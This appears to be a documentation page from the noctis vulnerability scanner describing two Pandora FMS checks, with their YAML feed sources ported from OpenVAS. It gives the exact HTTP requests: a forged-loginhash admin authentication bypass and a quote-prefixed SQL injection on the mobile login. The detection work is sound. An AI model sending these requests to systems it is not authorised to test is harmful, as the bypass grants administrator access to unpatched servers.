Pandora FMS — 2 vulnerability checks
noctis ships 2 vulnerability checks for Pandora FMS, covering 7 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Pandora FMS <= 3.1 loginhash authentication bypass
| CVE | CVE-2010-4278, CVE-2010-4279, CVE-2010-4280, CVE-2010-4281, CVE-2010-4282, CVE-2010-4283 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/pandora-fms/CVE-2010-4278.yaml |
Requests /index.php with a forged loginhash for the admin user and reports when Pandora FMS opens the administration page without a password.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /index.php?loginhash_data=21232f297a57a5a743894a0e4a801fc3&loginhash_user=admin&login… - Checks
resp.bannerfor(?im)^HTTP/1\.[01] 200[\s\S]*:: Administration ::[\s\S]*This is your …→ finding QoD 75: Pandora FMS opened the admin console for a forged loginhash (loginhash_user=admin) without a password: …
References:
Feed source — tests/vulnerabilities/pandora-fms/CVE-2010-4278.yaml
uid: 28e12989-1cd7-4d15-aaea-312ab6607b01
name: "CVE-2010-4278 — Pandora FMS <= 3.1 loginhash authentication bypass (CVSS 10.0)"
description: "Requests /index.php with a forged loginhash for the admin user and reports when Pandora FMS opens the administration page without a password."
cves: [CVE-2010-4278, CVE-2010-4279, CVE-2010-4280, CVE-2010-4281, CVE-2010-4282, CVE-2010-4283]
cvss: 10.0
severity: critical
category: auth-bypass
confidence_base: 0.3
tags: [pandora-fms, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-4278"
- "OpenVAS NASL 2010/gb_pandora_fms_45112.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2010/gb_pandora_fms_45112.nasl (GPL-2.0-only, Greenbone Community Feed).
# Faithful: request the exact NASL URL, then confirm BOTH the response status line and the
# plugin's confirming marker — a bare 200 with no marker does not fire (non-trivial negative).
steps:
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /index.php?loginhash_data=21232f297a57a5a743894a0e4a801fc3&loginhash_user=admin&loginhash=1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
- id: detect
action: match
source: resp.banner
pattern: '(?im)^HTTP/1\.[01] 200[\s\S]*:: Administration ::[\s\S]*This is your last activity in Pandora FMS console'
on_match:
finding:
confidence_delta: 0.5
qod: 75
evidence: "Pandora FMS opened the admin console for a forged loginhash (loginhash_user=admin) without a password: {{resp.banner}}"
stop: truePandora FMS < 5.1 SP1 mobile console login SQL injection
| CVE | CVE-2014-125115 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/pandora-fms/CVE-2014-125115.yaml |
Tests Pandora FMS for a pre-authentication SQL injection in the mobile console (/mobile/index.php), one of the multiple vulnerabilities fixed in 5.1 SP1. The check extracts the dynamic login-form token, submits a login with a single-quote-prefixed user, and confirms the vulnerability only when the injected marker is reflected inside a SQL error on the mobile console page.
How noctis detects it
- HTTP(S) request
GET /mobile/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /mobile/index.phpwith a crafted body - Checks
resp.bodyfor>SQL error<.*SQL-Injection-Test→ finding QoD 75: Pandora FMS mobile SQL injection confirmed — POST /mobile/index.php with user=%27SQL-Injection-Test reflected the marker inside a SQL error…
References:
Feed source — tests/vulnerabilities/pandora-fms/CVE-2014-125115.yaml
# Pandora FMS < 5.1 SP1 Multiple Vulnerabilities — CVE-2014-125115
#
# Pandora FMS before 5.1 SP1 ships a pre-authentication SQL injection in the
# mobile console login (/mobile/index.php). The login form renders a dynamic
# hidden field named `input<token>`; the active check extracts that token,
# then submits a login whose `user` parameter begins with a single quote
# (`%27`). On a vulnerable instance the backend reflects the broken SQL query
# — the injected marker appears inside a database error message on the mobile
# console page, confirming the injection actually executed (not mere product
# presence).
#
# Detection (error-based SQL injection — response analysis, QoD 75):
# 1. GET /mobile/index.php → extract the `input<token>` field name
# via eregmatch("input([0-9a-z]+).*id", body).
# 2. POST /mobile/index.php with body
# action=login&user=%27SQL-Injection-Test&password=test&input<token>=Login
# 3. Finding fires only when the response contains BOTH the SQL error that
# reflects the injected marker (>SQL error<.*SQL-Injection-Test) AND the
# mobile console fingerprint (>Pandora FMS mobile<). A patched instance
# serves the same console/form but sanitises the input, so no SQL error
# is reflected and the feed does not fire.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_pandora_fms_mult_vuln_dec14.nasl
# (GPL-2.0-only). Requests, paths, body and confirmation markers kept faithful
# to the cited plugin — no invented paths, headers, or patterns.
uid: d97f33e7-76a1-46e7-b2b2-8b2dbb6a718e
name: "Pandora FMS < 5.1 SP1 mobile console login SQL injection (CVE-2014-125115)"
description: |
Tests Pandora FMS for a pre-authentication SQL injection in the mobile
console (/mobile/index.php), one of the multiple vulnerabilities fixed in
5.1 SP1. The check extracts the dynamic login-form token, submits a login
with a single-quote-prefixed user, and confirms the vulnerability only when
the injected marker is reflected inside a SQL error on the mobile console
page.
cves: [CVE-2014-125115]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags:
- pandora-fms
- sqli
- pre-auth
- response-analysis
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-125115"
- "OpenVAS/Greenbone NASL 2014/gb_pandora_fms_mult_vuln_dec14.nasl (GPL-2.0-only)"
steps:
# Keep the token var defined even if extraction finds nothing, so the POST
# body template (strict interpolation) never fails.
- id: init-token
action: set_var
var_name: tok
var_value: ""
# 1. Fetch the mobile login form and extract the dynamic input<token> field.
- id: mobile-form
action: http_request
method: GET
path: "/mobile/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: form
- id: extract-token
action: script
code: |
let m = eregmatch("input([0-9a-z]+).*id", form.body);
if m.len() > 1 { m[1] } else { "" }
store_as: tok
# 2. Submit the login with a single-quote-prefixed user (the injection).
- id: sqli-login
action: http_request
method: POST
path: "/mobile/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "action=login&user=%27SQL-Injection-Test&password=test&input{{tok}}=Login"
store_as: resp
# 3. Confirm: the injected marker is reflected inside a SQL error AND the
# mobile console fingerprint is present. The finding keys on the reflected
# injection (real exploit signal), not on product presence.
- id: confirm-sqli
action: match
source: resp.body
pattern: ">SQL error<.*SQL-Injection-Test"
condition: "resp.status == 200 && ereg(\">Pandora FMS mobile<\", resp.body)"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Pandora FMS mobile SQL injection confirmed — POST /mobile/index.php with user=%27SQL-Injection-Test reflected the marker inside a SQL error: {{resp.body}}"
stop: true